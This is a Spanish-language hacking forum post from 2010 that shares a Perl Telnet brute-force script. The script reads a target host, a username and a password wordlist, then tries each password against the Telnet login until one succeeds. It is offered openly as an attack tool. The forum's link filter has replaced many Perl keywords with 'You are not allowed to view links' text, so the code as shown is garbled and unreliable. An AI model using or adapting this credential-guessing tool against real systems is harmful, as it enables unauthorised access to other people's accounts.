send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Brute Telnet [PERL]

  • 0 Respuestas
  • 991 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email
« en: Febrero 24, 2010, 04:33:36 pm »
bruteador de telnet:

Código: Perl
  1. #!/usr/bin/perl
  2. #c0dex by m0x.lk
  3. #BtTel.- RE & Hase
  4. use Net::Telnet ();
  5. You are not allowed to view links. Register or Login ("clear");
  6. You are not allowed to view links. Register or Login ("cls");
  7. You are not allowed to view links. Register or Login ("color f3");
  8. You are not allowed to view links. Register or Login "\n";
  9. You are not allowed to view links. Register or Login "\t\tC0dex by m0x.lk\n";
  10. You are not allowed to view links. Register or Login "\n";
  11. You are not allowed to view links. Register or Login "\t BtTel.- RE & HaSe * darkc0de\n";
  12. You are not allowed to view links. Register or Login "\n";
  13. You are not allowed to view links. Register or Login 1;
  14. You are not allowed to view links. Register or Login "Host: ";
  15. $host=<STDIN>;
  16. You are not allowed to view links. Register or Login "\n\n";
  17. You are not allowed to view links. Register or Login "Username: ";
  18. $username=<STDIN>;
  19. You are not allowed to view links. Register or Login "\n\n";
  20. You are not allowed to view links. Register or Login "Diccionario: ";
  21. $dict=<STDIN>;
  22. You are not allowed to view links. Register or Login "\n\n";
  23. $i = 1;
  24. You are not allowed to view links. Register or Login (D,"<$dict") or You are not allowed to view links. Register or Login "Diccionario no encontrado\n";
  25. while(<D>)
  26. {
  27. $try = $_;
  28.     You are not allowed to view links. Register or Login $try;
  29.  
  30.         $t = new Net::Telnet (Host => $host);
  31.         You are not allowed to view links. Register or Login { $t->login($username, $try); };
  32.         if ($@) {
  33. You are not allowed to view links. Register or Login "\n";
  34. You are not allowed to view links. Register or Login "[+] Obteniendo Pass";
  35. You are not allowed to view links. Register or Login "\n";
  36.                 You are not allowed to view links. Register or Login $i++ . ": Fallo - $try\n";
  37.         }
  38.         else {
  39.                 You are not allowed to view links. Register or Login "'$try - $i intentos";
  40.                 last;
  41.         }
  42.         $t->You are not allowed to view links. Register or Login;
  43. }
  44. You are not allowed to view links. Register or Login(IN);
« Última modificación: Marzo 14, 2015, 09:46:08 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 2856
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1327
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 970
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1474
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1014
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear